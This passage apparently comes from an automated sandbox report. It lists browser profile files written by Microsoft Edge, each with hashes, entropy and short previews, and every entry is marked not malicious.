SHA-256:	D21ED66DAD75A4FBFC37B1CFFDB90D7AD2546B79B2786219AA47D6E91B7ADAF7
SHA-512:	5E116CF4FA2FC932C1BFD66EE00B283C1C1C0CE4C9932D3E8FF08C14DC60ECB063F243FA4C5B86B49EF4E2745C471620A1E75B219569078C57E577090AB38BA1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a895.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b4ab.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF46cb0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries~RF493e0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cfcb817b-fc67-48e1-bdf7-bf65a30c35b5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d5e570ce-c7a3-4a5d-bfcb-02f916374802.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.231207876826248
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp3sX3aFvrE9kIizN1dqtN8UbV+FVcQweuU7PGYJ:styPGKSu43sX3CDCVbGaQwWD
MD5:	321318B8A9280AAA1CA296D607E9283A
SHA1:	9A1659E98266570C6F49AC2D70FA3BB5721697E9
SHA-256:	5F6EAC397BC002D65EAE0D095F39ABB1A9513F77E40671946C464E714BC0A6FB
SHA-512:	A6C117D41012458941FBCA427F20090B2FC7DF774C8ED19999A3A828AE33BD3A07BD248FB93D166D0DF770D1F4F84EDFAE4ABD31BB261DFA24270A81DA4759DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375991304965054","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3e773.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.231207876826248
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp3sX3aFvrE9kIizN1dqtN8UbV+FVcQweuU7PGYJ:styPGKSu43sX3CDCVbGaQwWD
MD5:	321318B8A9280AAA1CA296D607E9283A
SHA1:	9A1659E98266570C6F49AC2D70FA3BB5721697E9
SHA-256:	5F6EAC397BC002D65EAE0D095F39ABB1A9513F77E40671946C464E714BC0A6FB
SHA-512:	A6C117D41012458941FBCA427F20090B2FC7DF774C8ED19999A3A828AE33BD3A07BD248FB93D166D0DF770D1F4F84EDFAE4ABD31BB261DFA24270A81DA4759DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375991304965054","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4218e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.231207876826248
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp3sX3aFvrE9kIizN1dqtN8UbV+FVcQweuU7PGYJ:styPGKSu43sX3CDCVbGaQwWD
MD5:	321318B8A9280AAA1CA296D607E9283A
SHA1:	9A1659E98266570C6F49AC2D70FA3BB5721697E9
SHA-256:	5F6EAC397BC002D65EAE0D095F39ABB1A9513F77E40671946C464E714BC0A6FB
SHA-512:	A6C117D41012458941FBCA427F20090B2FC7DF774C8ED19999A3A828AE33BD3A07BD248FB93D166D0DF770D1F4F84EDFAE4ABD31BB261DFA24270A81DA4759DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375991304965054","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF44988.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.231207876826248
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp3sX3aFvrE9kIizN1dqtN8UbV+FVcQweuU7PGYJ:styPGKSu43sX3CDCVbGaQwWD
MD5:	321318B8A9280AAA1CA296D607E9283A
SHA1:	9A1659E98266570C6F49AC2D70FA3BB5721697E9
SHA-256:	5F6EAC397BC002D65EAE0D095F39ABB1A9513F77E40671946C464E714BC0A6FB
SHA-512:	A6C117D41012458941FBCA427F20090B2FC7DF774C8ED19999A3A828AE33BD3A07BD248FB93D166D0DF770D1F4F84EDFAE4ABD31BB261DFA24270A81DA4759DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375991304965054","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4a833.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.231207876826248
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp3sX3aFvrE9kIizN1dqtN8UbV+FVcQweuU7PGYJ:styPGKSu43sX3CDCVbGaQwWD
MD5:	321318B8A9280AAA1CA296D607E9283A
SHA1:	9A1659E98266570C6F49AC2D70FA3BB5721697E9
SHA-256:	5F6EAC397BC002D65EAE0D095F39ABB1A9513F77E40671946C464E714BC0A6FB
SHA-512:	A6C117D41012458941FBCA427F20090B2FC7DF774C8ED19999A3A828AE33BD3A07BD248FB93D166D0DF770D1F4F84EDFAE4ABD31BB261DFA24270A81DA4759DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375991304965054","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF595bf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.231207876826248
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp3sX3aFvrE9kIizN1dqtN8UbV+FVcQweuU7PGYJ:styPGKSu43sX3CDCVbGaQwWD
MD5:	321318B8A9280AAA1CA296D607E9283A
SHA1:	9A1659E98266570C6F49AC2D70FA3BB5721697E9
SHA-256:	5F6EAC397BC002D65EAE0D095F39ABB1A9513F77E40671946C464E714BC0A6FB
SHA-512:	A6C117D41012458941FBCA427F20090B2FC7DF774C8ED19999A3A828AE33BD3A07BD248FB93D166D0DF770D1F4F84EDFAE4ABD31BB261DFA24270A81DA4759DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375991304965054","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF8528d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.231207876826248
Encrypted:	false
SSDEEP:	192:styJ99QTryDigabatSuyp3sX3aFvrE9kIizN1dqtN8UbV+FVcQweuU7PGYJ:styPGKSu43sX3CDCVbGaQwWD
MD5:	321318B8A9280AAA1CA296D607E9283A
SHA1:	9A1659E98266570C6F49AC2D70FA3BB5721697E9
SHA-256:	5F6EAC397BC002D65EAE0D095F39ABB1A9513F77E40671946C464E714BC0A6FB
SHA-512:	A6C117D41012458941FBCA427F20090B2FC7DF774C8ED19999A3A828AE33BD3A07BD248FB93D166D0DF770D1F4F84EDFAE4ABD31BB261DFA24270A81DA4759DB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375991304965054","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554888610540389
Encrypted:	false
SSDEEP:	768:NteHYpWQr7pLGLpTJW5wLLf4YB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPwLIwNc9w:Nw4pH9cpTJWaLLf5Bu1jadxCGjvdeVVy
MD5:	8AAA2F83E56D30984D8571D5BFA25FAB
SHA1:	15D3E58996957833CE2CF3A1930C4790DDB88AAB
SHA-256:	2E43B6202CF540021CDB46B5FF617D5DE7A47796E20611E7A890781BB812FE9A
SHA-512:	53C3EBBCCA38F3C22B2DD574F2DF351779D105E8880B50F616CBDAFD4F821874DA9F983391335CEB609A453154A76F2A2CD5A481614BD369ADE9C8E0BE018A78
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375991304379408","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375991304379408","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF404ee.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554888610540389
Encrypted:	false
SSDEEP:	768:NteHYpWQr7pLGLpTJW5wLLf4YB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPwLIwNc9w:Nw4pH9cpTJWaLLf5Bu1jadxCGjvdeVVy
MD5:	8AAA2F83E56D30984D8571D5BFA25FAB
SHA1:	15D3E58996957833CE2CF3A1930C4790DDB88AAB
SHA-256:	2E43B6202CF540021CDB46B5FF617D5DE7A47796E20611E7A890781BB812FE9A
SHA-512:	53C3EBBCCA38F3C22B2DD574F2DF351779D105E8880B50F616CBDAFD4F821874DA9F983391335CEB609A453154A76F2A2CD5A481614BD369ADE9C8E0BE018A78
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375991304379408","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375991304379408","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113998
Entropy (8bit):	5.578054482498475
Encrypted:	false
SSDEEP:	1536:Aa906yxPXfOrr1lhCe1nL/rmL/rSZXsCjaWNcHMKzVrWzIX4:79LyxPXfOrr1lMe1nL/CL/SXsA8r5SV
MD5:	8E7573E60DBC402E3CC913803492C49A
SHA1:	F7391E40BA6BBEBC5AB9185DB2E5CB78D2F51A36
